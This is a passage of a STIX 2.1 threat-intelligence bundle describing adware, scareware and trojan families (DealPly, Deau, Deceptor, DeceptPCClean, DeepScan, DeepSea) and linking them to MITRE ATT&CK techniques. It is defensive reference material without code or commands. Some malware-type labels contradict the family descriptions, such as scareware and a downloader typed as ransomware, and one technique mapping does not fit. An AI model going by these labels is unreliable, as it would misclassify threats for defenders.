      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ee53657-33ba-55db-87be-45b1cc8dcf9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6a80709-8962-5d68-8642-317b393c202b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dazi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2626ab13-8129-5f72-9bc1-c20e4a2e1ce6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6a80709-8962-5d68-8642-317b393c202b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dazi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e905024-af6b-5c00-a07d-34721511b1a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6a80709-8962-5d68-8642-317b393c202b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dazi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8798f9b4-3d73-56b9-9563-f7273599010c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6a80709-8962-5d68-8642-317b393c202b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dazi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f7e99b4-dbbf-540a-84d3-c0e198acc83b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6a80709-8962-5d68-8642-317b393c202b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dazi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0350a30a-b4c0-5c07-b84d-fc0600841550",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dealply",
      "description": "DealPly (classified across security products as Adware:Win32/DealPly, Adware.DealPly, and Win32:DealPly) is a sophisticated modular adware and browser modification platform analyzed by Microsoft Defender, Kaspersky, and Malwarebytes. Deceptively promoted as a shopping comparison and coupon assistant, DealPly infiltrates Windows endpoints through third-party freeware installers and pay-per-install networks. Modern iterations of DealPly feature robust defense evasion capabilities, including hardware fingerprinting, virtual machine detection, and evasion of Microsoft SmartScreen verification. Once running, DealPly installs unauthorized extension objects in Google Chrome, Mozilla Firefox, and Microsoft Edge. It monitors user e-commerce browsing, injects sponsored pricing comparison iframes into merchant web pages, hijacks search engine queries, and sends detailed telemetry back to remote advertising infrastructure over encrypted HTTPS. (Observed samples in benchmark: 3,976)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/DealPly",
        "Adware.DealPly",
        "Win32:DealPly",
        "DealPly Adware",
        "PUP.Optional.DealPly",
        "Win32/DealPly.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dealply",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dealply"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7efbf40-51f9-5c89-b8eb-f3432029bf53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0350a30a-b4c0-5c07-b84d-fc0600841550",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dealply exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--0c25f90f-bf7e-5abc-9857-0b48857bdb1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1497: Virtualization/Sandbox Evasion (Commercial packers often include features to prevent execution in analysis environments)",
      "description": "MITRE ATT&CK Technique T1497 (Virtualization/Sandbox Evasion (Commercial packers often include features to prevent execution in analysis environments)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1497",
          "url": "https://attack.mitre.org/techniques/T1497/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54c6da05-fb93-55c5-8a0e-70b44df054c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0350a30a-b4c0-5c07-b84d-fc0600841550",
      "target_ref": "attack-pattern--0c25f90f-bf7e-5abc-9857-0b48857bdb1c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dealply exhibits technique T1497 (Virtualization/Sandbox Evasion (Commercial packers often include features to prevent execution in analysis environments))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02987220-04ce-52e0-8e5f-2aa7c5cb8e31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0350a30a-b4c0-5c07-b84d-fc0600841550",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dealply exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--453cb607-693c-55ed-9924-40b1b305d394",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0350a30a-b4c0-5c07-b84d-fc0600841550",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dealply exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--103511c1-001e-5cfe-9ae9-ca1235ebb9a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0350a30a-b4c0-5c07-b84d-fc0600841550",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dealply exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c95dbaa-40e8-5693-9051-8385ad2d8ce3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0350a30a-b4c0-5c07-b84d-fc0600841550",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dealply exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a61441d2-607c-5fde-9e5d-c209ce75f2be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Deau",
      "description": "<h3>Executive Summary</h3>\nDeau is a malicious Trojan designed to covertly infiltrate Windows systems, establish deep persistence, and act as a reliable backdoor and downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDeau is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Deau operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Deau ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Deau receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Deau infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Deau executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Deau frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Deau",
        "Downloader.Deau",
        "Win32/Deau"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Deau",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/deau"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a55a5dc-3336-5304-af29-339191f0f9a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a61441d2-607c-5fde-9e5d-c209ce75f2be",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deau exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--effb2695-de07-5888-9257-f1a354277313",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a61441d2-607c-5fde-9e5d-c209ce75f2be",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deau exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98a8ea65-6b5a-56e5-bce1-4cab7d2a86af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a61441d2-607c-5fde-9e5d-c209ce75f2be",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deau exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2b419565-4cf6-549d-a59a-0824097d7ea5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Deceptor",
      "description": "<h3>Executive Summary</h3>\nDeceptor (often detected as Rogue.Deceptor or Riskware.FakeAV) is a highly deceptive Potentially Unwanted Program (PUP) operating as \"Rogue Security Software.\" It employs aggressive scareware tactics, masquerading as a legitimate Windows security component or premium anti-malware suite. It performs fabricated system \"scans\" to generate alarming false-positive reports about severe malware infections, with the sole objective of frightening the user into purchasing a fraudulent \"premium license\" to \"clean\" their machine.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDeceptor relies almost entirely on aggressive malvertising, Search Engine Optimization (SEO) poisoning, and deceptive software bundling. Users typically encounter it via alarming, full-screen browser pop-ups (e.g., \"Your Windows is infected with 5 viruses!\") that trick them into downloading the rogue installer.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive UI and Scareware Tactics:</strong> The application is meticulously designed to mimic the graphical user interface of legitimate Windows components or well-known AV brands. It launches automatically on boot and invariably reports numerous critical (but non-existent) security threats.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants of Deceptor employ system-locking tactics. They may constantly overlay the screen with warnings, disable the Windows Task Manager, or block the execution of legitimate executable files (claiming they are \"infected\"), effectively holding the user's workflow hostage until they pay.</li>\n<li><strong>Persistent Nagging and Fake Alerts:</strong> The software establishes persistence via registry `Run` keys and scheduled tasks, generating fake system tray balloons and pop-ups demanding credit card information.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, Deceptor poses a severe threat to user productivity and financial security (extortion). The aggressive system locking mechanisms cause massive IT helpdesk overhead, and users may unwittingly hand over valid credit card details to cybercriminals.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms that block executable launches, it is almost always necessary to boot the infected machine into Windows \"Safe Mode with Networking\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal, such as Malwarebytes) to scan for and remove the deeply embedded registry keys and scheduled tasks associated with the PUP.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.Deceptor",
        "PUP.FakeAV",
        "Scareware.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Deceptor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/deceptor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d317190e-bc2b-57a5-83e2-803d284800d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b419565-4cf6-549d-a59a-0824097d7ea5",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deceptor exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd2814a9-62bf-5576-b124-ecb1cad2f65e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b419565-4cf6-549d-a59a-0824097d7ea5",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deceptor exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a18dd1e-7d60-5671-9aac-f495d94c943b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b419565-4cf6-549d-a59a-0824097d7ea5",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deceptor exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--47598faa-49cb-5941-96a5-24a779c6e0fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Deceptpcclean",
      "description": "DeceptPCClean (classified in antimalware telemetry under signatures PUA:Win32/DeceptPCClean, Rogue:Win32/DeceptPCClean, and Program:Win32/DeceptPCClean) is a deceptive rogue system utility and scareware application. Marketed under trade names such as Deceptive PC Cleaner or PC Clean Plus, it is distributed via software bundling platforms, pay-per-install networks, and misleading online landing pages claiming PC performance decay. Once installed on a Windows workstation, DeceptPCClean executes fabricated diagnostic scans that falsely report hundreds of critical registry anomalies, obsolete cache errors, and security vulnerabilities. It displays intrusive warning pop-ups urging users to purchase an annual license subscription to clean the purported issues. DeceptPCClean establishes startup persistence via registry run keys and background scheduled tasks, consuming system memory and CPU cycles while degrading overall workstation performance. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/DeceptPCClean",
        "Rogue:Win32/DeceptPCClean",
        "Program:Win32/DeceptPCClean",
        "Win32/DeceptPCClean",
        "PUP.Optional.DeceptPCClean"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Deceptpcclean",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/deceptpcclean"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c8c8314-0cf9-58b9-87e2-05e85b93768b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47598faa-49cb-5941-96a5-24a779c6e0fd",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deceptpcclean exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fe18437-3611-59e1-ac3c-7c4d27913a45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47598faa-49cb-5941-96a5-24a779c6e0fd",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deceptpcclean exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34f16b51-233c-5c7a-98a3-a9c2f6c4eade",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47598faa-49cb-5941-96a5-24a779c6e0fd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deceptpcclean exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ba0ea1f-8c42-53ce-97a7-23541aef6358",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47598faa-49cb-5941-96a5-24a779c6e0fd",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deceptpcclean exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93c60c18-0ce8-52c8-b8d7-96722ce84fd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47598faa-49cb-5941-96a5-24a779c6e0fd",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deceptpcclean exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a6e89b22-c22e-525c-a302-f2cbf8f61965",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Deepscan",
      "description": "Rogue:Win32/Deepscan (often operating under names like 'DeepScan Antivirus' or 'Security DeepScan') is a classic example of **Scareware** or a **Rogue Antivirus** program. Its primary objective is financial extortion. It infects a system, displays highly realistic but entirely fabricated security alerts claiming the computer is overrun with non-existent malware, and then demands the user pay for a 'premium' license to clean the machine.<br><br><b>Understanding the Deepscan Threat</b><br>To an end-user, Deepscan is terrifying. It frequently disables the Windows Task Manager, hides desktop icons, and constantly bombards the screen with flashing red warning messages mimicking the Windows Security Center. To an enterprise, it represents a severe productivity loss, a high risk of user-initiated credit card fraud, and a failure in endpoint application control.<br><br><b>Execution and Extortion Mechanics</b><br>Deepscan is typically distributed via malvertising (fake 'Your PC is Infected' pop-ups on streaming sites) or bundled with deceptive software (`T1189`). Upon execution (`T1204.002`), it heavily modifies the Windows Registry. Crucially, it uses Image File Execution Options (IFEO) (`T1546.012`) to intercept the launch of legitimate diagnostic tools (like `taskmgr.exe`, `regedit.exe`, and actual AV software) and instead launches its own warning screens. It runs a fake 'deep scan' animation that invariably finds dozens of 'critical threats'. When the panicked user clicks 'Fix All', they are directed to a payment portal (`T1592`). The software holds the system's usability hostage until the ransom is paid.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a completely unusable endpoint and potential financial theft. IoCs are glaringly obvious to the user: persistent, non-dismissible windows demanding payment for AV software they never installed. EDR logs will show the creation of the IFEO registry keys hijacking standard Windows utilities. The executable itself is often a brightly colored, unsigned file located in `%AppData%` or `%ProgramData%`. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Deepscan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/deepscan"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a10bfd66-29d8-5b79-a15d-c9f45b3ddfeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6e89b22-c22e-525c-a302-f2cbf8f61965",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deepscan exhibits technique T1189 (Drive-by Compromise (Fake AV pop-ups))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a0e01277-f7d6-5be2-950c-4bc96a414f00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1546.012: Event Triggered Execution: Image File Execution Options Injection (Disabling Task Manager)",
      "description": "MITRE ATT&CK Technique T1546.012 (Event Triggered Execution: Image File Execution Options Injection (Disabling Task Manager)) under tactic Privilege Escalation.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1546.012",
          "url": "https://attack.mitre.org/techniques/T1546/012/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cdb3f98-5459-525a-ad6c-a95fba839f35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6e89b22-c22e-525c-a302-f2cbf8f61965",
      "target_ref": "attack-pattern--a0e01277-f7d6-5be2-950c-4bc96a414f00",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deepscan exhibits technique T1546.012 (Event Triggered Execution: Image File Execution Options Injection (Disabling Task Manager))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79bf9928-8981-53db-9b05-5a375cc26bf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6e89b22-c22e-525c-a302-f2cbf8f61965",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deepscan exhibits technique T1491.001 (Defacement: Internal Defacement (Fake security alerts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b15e1096-9b43-564f-80bf-fdf89e535641",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6e89b22-c22e-525c-a302-f2cbf8f61965",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deepscan exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba6256d7-e76f-5877-a580-7642af2d18ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Deepsea",
      "description": "<h3>Executive Summary</h3>\nDeepSea is an intrusive adware family and Potentially Unwanted Program (PUP) that aggressively alters browser behavior and injects unsolicited advertisements into web pages. It is engineered to generate illicit revenue for its operators by forcing users to interact with sponsored content and affiliate links.\n\n<h3>Technical Analysis and Infection Chain</h3>\nDeepSea typically infiltrates systems disguised as legitimate browser extensions, media players, or software updates. During installation, it silently deploys background services and modifies the Windows Registry to ensure it runs automatically upon system boot. \n\nOnce active, DeepSea hooks into popular web browsers (including Chrome, Firefox, and Edge) to monitor web traffic. It intercepts HTTP/HTTPS requests to overlay pop-ups, banners, and in-text hyperlinks on legitimate websites. The adware relies heavily on obfuscated JavaScript to bypass basic ad-blockers and continuously communicates with command-and-control (C2) servers to fetch new advertising rules and payload updates.\n\n<h3>Privacy and Security Implications</h3>\nThe presence of DeepSea on a network introduces severe privacy risks. The adware tracks geolocation data, IP addresses, and browsing habits, creating detailed profiles of infected users. Additionally, the ad networks utilized by DeepSea are notorious for hosting malicious content, including tech support scams and phishing pages, which exponentially increases the risk of secondary infections.\n\n<h3>Remediation Guidance</h3>\n<ul>\n<li><strong>Network Filtering:</strong> Block known DeepSea C2 domains and advertising networks at the DNS or firewall level.</li>\n<li><strong>Browser Auditing:</strong> Regularly audit and restrict the installation of unauthorized browser extensions using Group Policy (GPO) or endpoint management tools.</li>\n<li><strong>System Cleaning:</strong> Utilize robust endpoint protection platforms (EPP) to identify and quarantine DeepSea components, followed by a complete reset of affected web browsers.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.DeepSea",
        "PUP.DeepSea",
        "DeepSea Adware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Deepsea",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/deepsea"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a576b60e-5b7f-5019-a013-1becd407b2a8",
